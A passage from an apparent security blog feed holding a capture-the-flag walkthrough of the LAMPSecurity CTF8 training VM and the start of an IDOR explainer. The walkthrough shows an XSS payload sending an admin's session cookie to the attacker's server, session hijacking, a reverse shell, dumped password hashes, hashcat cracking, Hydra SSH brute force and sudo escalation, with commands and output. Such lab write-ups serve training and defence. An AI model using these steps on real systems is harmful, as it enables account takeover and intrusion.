  &lt;li&gt;&lt;a href=&quot;#hashcat-md5-cracking&quot; id=&quot;markdown-toc-hashcat-md5-cracking&quot;&gt;Hashcat MD5 cracking&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#hydra-ssh-brute-force&quot; id=&quot;markdown-toc-hydra-ssh-brute-force&quot;&gt;Hydra SSH Brute Force&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ssh-account-compromise&quot; id=&quot;markdown-toc-ssh-account-compromise&quot;&gt;SSH Account Compromise&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-privilege-escalation&quot; id=&quot;markdown-toc-local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;The LAMPSecurity project is an effort to produce training and benchmarking
tools that can be used to educate information security professionals and test
products.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; madirish2600&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://www.vulnhub.com&quot;&gt;VulnHub&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1-65535 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sT&lt;/span&gt; 192.168.30.135&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;note info&quot;&gt;
  &lt;h5&gt;Dislcaimer: Multiple Entry Points&lt;/h5&gt;
  &lt;p&gt;The LAMPSecurity series is not particularly challenging, for each VM in the series I&apos;ve targeted the &lt;b&gt;web application&lt;/b&gt; as the entry point.&lt;/p&gt;
&lt;/div&gt;

&lt;h3 id=&quot;host-service-enumeration&quot;&gt;Host Service Enumeration&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 21&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;FTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;vsftpd 2.0.5&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 22&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;SSH&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
       &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;OpenSSH 4.3 (protocol 2.0)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 25&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;SMTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Sendmail&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.3 ((CentOS))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 110&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;POP3&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Dovecot pop3d&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 111&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;rpcbind&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;N/A&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 139&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;Netbios&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Samba smbd 3.X (workgroup: WORKGROUP)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 143&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;IMAP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Dovecot imapd&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 443&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTPS&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.3 ((CentOS))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 445&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;Netbios&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Samba smbd 3.X (workgroup: WORKGROUP)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 938&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;TCP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;N/A&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 993&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;IMAP SSL&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Dovecot imapd&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 995&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;POP3 SSL&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Dovecot pop3d&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 3306&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;MySQL&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;MySQL (unauthorized)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 5801-5804&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;VNC HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5901)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 5901-5904&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;VNC&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;VNC (protocol 3.8)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 6001-6004&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;X11&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;X11&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;inspection-of-the-web-application&quot;&gt;Inspection of the Web Application&lt;/h2&gt;

&lt;p&gt;As with the previous CTF series VM’s, I’ve chosen to ignore other entry points
and focus on the &lt;strong&gt;web application&lt;/strong&gt; is used for the entry point.&lt;/p&gt;

&lt;p&gt;Inspection of the web application revealed it was vulnerable to XSS (Cross Site
Scripting):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf8/xss.png&quot; alt=&quot;XSS&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Confirmed:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf8/xss-alert.png&quot; alt=&quot;XSS Alert&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;xss-session-id-hijacking&quot;&gt;XSS Session ID Hijacking&lt;/h2&gt;

&lt;p&gt;From insepecting the web application it appeared &lt;code&gt;Barbara&lt;/code&gt; was an
admin, a guess based on her user activity. A XSS comment was placed on one of
the pages Barbara had created and an email was sent to Barbara instructing her
to view the page.&lt;/p&gt;

&lt;p&gt;The XXS script will execute and attempt to contact a web server on the
attacking machine, the url will disclose &lt;strong&gt;Barbara’s&lt;/strong&gt; session ID.&lt;/p&gt;

&lt;p&gt;Once the ID has been obtained, &lt;strong&gt;Cookie Manager+&lt;/strong&gt; Firefox plugin or &lt;strong&gt;Burp Suite&lt;/strong&gt;
is used to manipulate the stored cookie and replace the session ID with
Barbara’s, hijacking Barbara’s session.&lt;/p&gt;

&lt;h3 id=&quot;xss-comment&quot;&gt;XSS Comment&lt;/h3&gt;

&lt;p&gt;Joomla required a user to preview a comment before saving, in this case the XSS
executes and Joomla fails to save the comment. To evade this behavior,  a
normal comment was posted, then edited to include the XSS snipet.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf8/xss-cookie-hijack.png&quot; alt=&quot;XSS Cookie Hijacking&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;http-server&quot;&gt;HTTP Server&lt;/h3&gt;

&lt;p&gt;A HTTP server was setup on attacking machine: &lt;code&gt;python -m SimpleHTTPServer
80&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;email-barbara-victim&quot;&gt;Email Barbara (victim)&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf8/email-barbara.png&quot; alt=&quot;XSS Link Email Victim&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After a couple of minutes the following appeared in the web server logs:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;192.168.221.135 - - &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;05/05/2014 10:54:28] &lt;span class=&quot;s2&quot;&gt;&quot;GET
/?SESS2130d5ef479afc30ab5b3f3d50bbfc5e=9ehlga5fhnh8o81om1aq5so040;%20has_js=1
HTTP/1.1&quot;&lt;/span&gt; 301 -&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Barbaras Session ID: &lt;code&gt;9ehlga5fhnh8o81om1aq5so040&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;swapped-session-id-burp-suite&quot;&gt;Swapped Session ID Burp Suite&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf8/burp-swap-session-id.png&quot; alt=&quot;Burp Swap Session ID&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cookie Manager+&lt;/strong&gt; and / or &lt;strong&gt;Tamper Data&lt;/strong&gt; can also be used for this purpose.&lt;/p&gt;

&lt;p&gt;Successfuly logged in as Barbara:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf8/login-barbara.png&quot; alt=&quot;Session Hijacked&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;reverse-shell&quot;&gt;Reverse Shell&lt;/h2&gt;

&lt;p&gt;A reverse shell was injected into a new page using Barbara’s admin account:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf8/php-reverse-shell.png&quot; alt=&quot;php reverse shell&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;drupal-settingsphp&quot;&gt;Drupal settings.php&lt;/h3&gt;

&lt;p&gt;The following disclosed &lt;code&gt;settings.php&lt;/code&gt; file for &lt;strong&gt;Drupal&lt;/strong&gt; existed.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf8/drupal-settings.png&quot; alt=&quot;Drupal Settings.php&quot; /&gt;&lt;/p&gt;

&lt;p&gt;File path:
&lt;code&gt;/var/www/html/drupal/sites/default/settings.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The file contained the &lt;strong&gt;root&lt;/strong&gt; account credentials for mysql.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;o&quot;&gt;*/&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$db_url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;mysqli://root:JumpUpAndDown@localhost/drupal&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$db_prefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The following SQL was used to disclose the password hashes:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;/bin/sh &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt;

sh: no job control &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;this shell

sh-3.2&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;mysql &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; root &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; drupal
Enter password: JumpUpAndDown
&lt;span class=&quot;k&quot;&gt;select &lt;/span&gt;name,pass from &lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
/q
admin     49265c16d1dff8acef3499bd889299d6
Barbara     bed128365216c019988915ed3add75fb
Jim     2a5de0f53b1317f7e36afcdb6b5202a4
Steve     08d15a4aef553492d8971cdd5198f314
Sherry     c3319d1016a802db86653bcfab871f4f
Gene     9b9e4bbd988954028a44710a50982576
Harvey     7d29975b78825ea7c27f5c0281ea2fa4
John     518462cd3292a67c755521c1fb50c909
Johnathan     6dc523ebd2379d96cc0af32e2d224db0
Susan     0d42223010b69cab86634bc359ed870b
Dan     8f75ad3f04fc42f07c95e2f3d0ec3503
George     ed2b1f468c5f915f3f1cf75d7068baae
Jeff     ca594f739e257245f2be69eb546c1c04
Stacey     85aca385eb555fb6a36a62915ddd8bc7
Juan     573152cc51de19df50e90b0e557db7fe
Michael     c7a4476fc64b75ead800da9ea2b7d072
Jerome     42248d4cb640a3fb5836571e254aee2b
Tom     971dcf53e88e9268714d9d504753d347
Xavier     3005d829eb819341357bfddf541c175b
Sally     7a1c07ff60f9c07ffe8da34ecbf4edc2
Latte     42a7ccabfaea30678d6f1b80876773ef&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;hashcat-md5-cracking&quot;&gt;Hashcat MD5 cracking&lt;/h2&gt;

&lt;p&gt;Hashcat wased to crack the hashes offline:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# hashcat &lt;span class=&quot;nt&quot;&gt;--username&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; 0 &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; 0 ctf8-hashes.txt
/usr/share/wordlists/rockyou.txt&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;hydra-ssh-brute-force&quot;&gt;Hydra SSH Brute Force&lt;/h2&gt;

&lt;p&gt;Hyrda was used to brute force SSH using the previously cracked password hashes:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;DATA] attacking service ssh on port 22

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;22][ssh] host: 192.168.221.135   login: jharraway   password: letmein!
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;22][ssh] host: 192.168.221.135   login: spinkton   password: football123
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;22][ssh] host: 192.168.221.135   login: bdio   password: passw0rd
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;STATUS] 167.00 tries/min, 167 tries &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;00:01h, 53 todo &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;00:01h, 5 active&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;ssh-account-compromise&quot;&gt;SSH Account Compromise&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# ssh spinkton@192.168.221.135

Welcome to LAMPSecurity Research SSH access!

&lt;span class=&quot;c&quot;&gt;#flag#5e937c51b852e1ee90d42ddb5ccb8997&lt;/span&gt;

Unauthorized access is expected...

spinkton@192.168.221.135&lt;span class=&quot;s1&quot;&gt;&apos;s password:
Last login: Thu Mar 27 12:48:29 2014 from 192.168.56.1
#flag#motd-flag&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;spinkton@localhost ~]&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt;

Password:

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@localhost ~]# &lt;span class=&quot;nb&quot;&gt;id

&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,1&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;bin&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,2&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;daemon&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,3&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,4&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;adm&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,6&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;disk&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,10&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;wheel&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;user_u:system_r:unconfined_t&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Insecure Direct Object Reference (IDOR): Definition, Examples &amp; How to Find</title>
          <link>https://hacksofdhruv.me/blog/insecure-direct-object-reference-idor/</link>
          <pubDate>Wed, 01 May 2024 11:29:10 +0000</pubDate>
          <dc:creator>Dhruv Amabaliya</dc:creator>
          
          <category>Pen-Testing</category>
          
          <category>Web App Security</category>
          
          <category>Web</category>
          
          
          <category>Web App Security</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/insecure-direct-object-reference-idor/</guid>
          <description>&lt;h2 id=&quot;what-is-an-insecure-direct-object-reference-idor-vulnerability&quot;&gt;What is an Insecure Direct Object Reference (IDOR) Vulnerability?&lt;/h2&gt;

&lt;p&gt;What is a Insecure Direct Object Reference (IDOR) Vulnerability? In the most basic form an IDOR is an object referenced within a web appliation without the correct controls in place to prevent an unauthorised user directly access, either via enumeration or guessing / predicting the object. IDOR vulnerabilties typically occur when the access control mechanism uses a user-controlled parameter value, that is used to access functionality or reasources directly. Typically this uses a numeric or predictible parameter value, that an attacker or malicious user could predict, brute force and then manipulate to gain access to data and/or functionality that was not intended.&lt;/p&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;How To Pronounce IDOR&lt;/h5&gt;
  &lt;p&gt;IDOR is typically pronounced &lt;i&gt;eye-door&lt;/i&gt; - this is arguably the most important piece of information in the whole document :)&lt;/p&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-an-insecure-direct-object-reference-idor-vulnerability&quot; id=&quot;markdown-toc-what-is-an-insecure-direct-object-reference-idor-vulnerability&quot;&gt;What is an Insecure Direct Object Reference (IDOR) Vulnerability?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#insecure-direct-object-reference-idor-examples&quot; id=&quot;markdown-toc-insecure-direct-object-reference-idor-examples&quot;&gt;Insecure Direct Object Reference (IDOR) Examples&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#idor-example-direct-database-reference&quot; id=&quot;markdown-toc-idor-example-direct-database-reference&quot;&gt;IDOR Example: Direct Database Reference&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#idor-example-file-name&quot; id=&quot;markdown-toc-idor-example-file-name&quot;&gt;IDOR Example: File Name&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#how-to-find-idor-vulnerabilties&quot; id=&quot;markdown-toc-how-to-find-idor-vulnerabilties&quot;&gt;How To Find IDOR Vulnerabilties&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#idor-entry-points&quot; id=&quot;markdown-toc-idor-entry-points&quot;&gt;IDOR Entry Points&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#idor-example-file-name-1&quot; id=&quot;markdown-toc-idor-example-file-name-1&quot;&gt;IDOR Example: File Name&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#finding-access-control-bug-idor&quot; id=&quot;markdown-toc-finding-access-control-bug-idor&quot;&gt;Finding Access Control Bug (IDOR)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#idor-vs-forced-browsing-whats-the-difference&quot; id=&quot;markdown-toc-idor-vs-forced-browsing-whats-the-difference&quot;&gt;IDOR vs Forced Browsing: What’s the Difference?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;insecure-direct-object-reference-idor-examples&quot;&gt;Insecure Direct Object Reference (IDOR) Examples&lt;/h2&gt;

&lt;p&gt;The following documents some IDOR examples, where the access control mechanism is vulnerable due to a user-controlled parameter value, that is used to access functionality or reasources directly. Typically a numeric or predictible parameter value, that an attacker or malicious user could manipulate.&lt;/p&gt;

&lt;h2 id=&quot;idor-example-direct-database-reference&quot;&gt;IDOR Example: Direct Database Reference&lt;/h2&gt;

&lt;p&gt;A typical numeric IDOR vulnerable function would look like:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;foo.com/profile/user_id&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;7747&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_id&lt;/code&gt; parameter is vulnerable to IDOR an attacker could simply modify the numeric value and access another users profile. If successful an attacker could gain access to a user acverticalcount profile and potentially perform horizontal, or vertical privilege escalation against the vulnerable application.&lt;/p&gt;

&lt;h2 id=&quot;idor-example-file-name&quot;&gt;IDOR Example: File Name&lt;/h2&gt;

&lt;p&gt;Another typical example of an IDOR vulnerability would be file names with a predictable value that could be bruteforced, guessed or predicted if sequential, such as:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;foo.com/download/12432-secure-document.pdf &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

